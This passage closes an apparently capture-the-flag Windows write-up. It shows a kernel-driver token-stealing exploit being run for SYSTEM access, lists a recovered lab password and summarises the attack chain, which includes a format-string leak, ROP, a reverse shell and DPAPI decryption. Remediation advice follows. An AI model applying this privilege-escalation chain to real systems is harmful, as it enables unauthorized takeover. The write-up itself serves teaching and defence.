We transfer exploit.exe to C:\Users\keysvc\Desktop\ via our existing SMB share and execute it inside our RDP session:

C:\Users\keysvc\Desktop\exploit.exe

[+] Getting Device Driver Handle
[+] Device Handle: 0x00000000000000b8
[>] System _EPROCESS: 0xffff9c0d4dc92080
[>] Found Process: ffff9c0d54bd5080 (PID: 5556, TOKEN_PTR: ffffb0092fa9d064)
[>] Found Process: ffff9c0d4dc92080 (PID: 4,    TOKEN_PTR: ffffb0092920f045)
[+] Copying SYSTEM token to current process...
[+] Spawning SYSTEM shell...

C:\Users\keysvc> whoami
nt authority\system

The exploit executes cleanly, swaps the token, and spawns an interactive shell running as nt authority\system.

We navigate to the Administrator's desktop and capture the Root Flag:

C:\Users\Administrator\Desktop\root.txt

Defensive Engineering & Remediation Blueprint

To prevent similar multi-stage compromise chains in enterprise environments, developers and systems administrators should implement the following remediations:

  1. Eliminate Format String Flaws (CWE-134):

    • Always supply a static format specifier string to formatting functions:
      // VULNERABLE:
      _snprintf(buffer, sizeof(buffer), user_input);
      
      // SECURE:
      _snprintf(buffer, sizeof(buffer), "%s", user_input);
      
  2. Enforce Boundary Checks on Decoders (CWE-121):

    • When decoding data from formats such as Base64, hex, or URL-encoding, calculate the maximum possible output length and ensure it does not exceed the destination buffer size before writing.
  3. Compiler Mitigations (CFG & ASLR High Entropy):

    • Compile all C/C++ services with /guard:cf (Control Flow Guard) and /HIGHENTROPYVA (64-bit ASLR with high entropy) to restrict ROP gadget execution.
  4. Kernel Driver Pointer Validation & Access Control (CWE-129 / CWE-787):

    • Kernel drivers must validate all user-mode pointer arguments using ProbeForRead() and ProbeForWrite() within __try / __except structured exception handling blocks.
    • Restrict access to device objects using IoCreateDeviceSecure() so that unprivileged users cannot open handles to administrative hardware drivers.
  5. DPAPI Best Practices:

    • Avoid storing unmanaged plaintext passwords in automated scripts. Leverage Windows Credential Manager or dedicated secret vaults (such as HashiCorp Vault or Azure Key Vault) with hardware-backed TPM sealing.

Credentials Summary

Username Password Method Scope / Access
keysvc (shell via BOF+ROP) Format string leak + 64-bit VirtualAlloc ROP Reverse shell on Port 9001
keysvc CatWinterMist10 DPAPI blob decryption via .NET Reflection Interactive GUI access via RDP (Port 3389)
SYSTEM - Kernel driver token stealing via reaper.sys Full system compromise (NT AUTHORITY\SYSTEM)
// PRIVACY SHIELD // ZERO-KNOWLEDGE LOCK
Finished reading or stepping away?

Conceal this advisory and lock the viewport in-browser using WebCrypto AES-256-GCM.

COMMS // CH-0x0D
414.1 MHz
> KIRA:

Initializing security matrix...

KIRA // OPERATIVE
> ESC to close